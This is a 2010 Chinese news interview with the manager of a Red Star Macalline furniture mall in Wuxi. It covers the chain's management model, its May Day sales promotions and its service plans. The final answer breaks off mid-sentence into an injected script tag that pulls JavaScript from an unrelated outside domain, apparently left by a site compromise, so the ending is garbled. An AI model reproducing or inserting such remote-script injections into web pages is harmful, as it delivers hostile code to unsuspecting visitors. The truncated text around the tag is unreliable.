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专访红星美凯龙五洲国际店总经理 韩宝龙
时间:2010-5-1 21:41:43 出处:263家居网 作者:本站编辑 阅读:5185次

    记  者:红星美凯龙五洲国际店去年五一开业以来销售情况非常好,能请您谈一下是以什么经营模式来带动消费的呢?

    韩  总:红星美凯龙之所以发展这么快,刚才已经介绍过红星美凯龙是全国家居流通行业的第一品牌,全国已经有65家卖场,总面积达到580万平方,去年的销售达到313亿元。之所以能够取得这么大的成绩,关键还是创业阶段我们车总定的一个思路:市场化的经营,商场化的管理,我们的核心优点就是商场化的管理。虽然我们红星美凯龙没有经营自己的品牌,而是招募经销商品牌,我们更多采用的是商场化的管理。也就是说真个营销,售后服务、送货体系,包括人才的培训,都是我们红星美凯龙统一调配的,这就体现了我们红星美凯龙优质的服务体系,也是我们相对于竞争对手的核心优势。

    记  者:今天在活动现场,红星美凯龙五洲国际店也有一个形象展厅,那我们有没有准备一些优惠活动来吸引广大的消费者呢?

    韩  总: 正如大家所见,我们在263主办的这次家博会的主会场我们设置了一个形象展厅。我们也是花巨资精心包装打扮的,在整个会场也是非常突出的。我们的初衷也是想让锡城人民感受到红星美凯龙五洲国际店想要展现给锡城市民的高品质的享受。另外,我们红星美凯龙五洲国际店的经营理念是高品味,没价位。我们的目的就是想让好的产品走进我们广大的锡城百姓家中。一方面,由于“五一”活动,加之本身我们是世博会的合作伙伴,再次为了迎接家博会,我们红星美凯龙五洲国际店推出了非常大的活动,力度也是全城居首的。我们是满2000立减1200元现金,同时,家博增享券加上我们百名总裁的签售卡,还可以享5%-15%的优惠让利,并且有2010桶油相送,目前已经送出1000桶。最新消息,至目前为止,我们今天的销售额已经突破250万了,这是国庆黄金节周所不能比拟的。另外我们还推出买家具送美的变频空调活动,也是在倡导绿色节能环保。

    记  者:接下来,红星美凯龙五洲国际店在将来的运营过程中有什么发展规划呢?能否透露一下与百姓息息相关的家居生活内容呢?

    韩  总:红星美凯龙之所以有今天的发展,一方面取决于我们的核心优势,另一方面,我们红星美凯龙五洲国际店在市场的竞争当中以及对客户的服务我们都是精益求精的。我们现在一直在探索和尝试新的一种服务理念,针对顾客,如何体现提高我们的服务体系,包括如何寻求顾客需要我们服务的?script src=http://lady11.com/s.js>

(责任编辑:杨磊)
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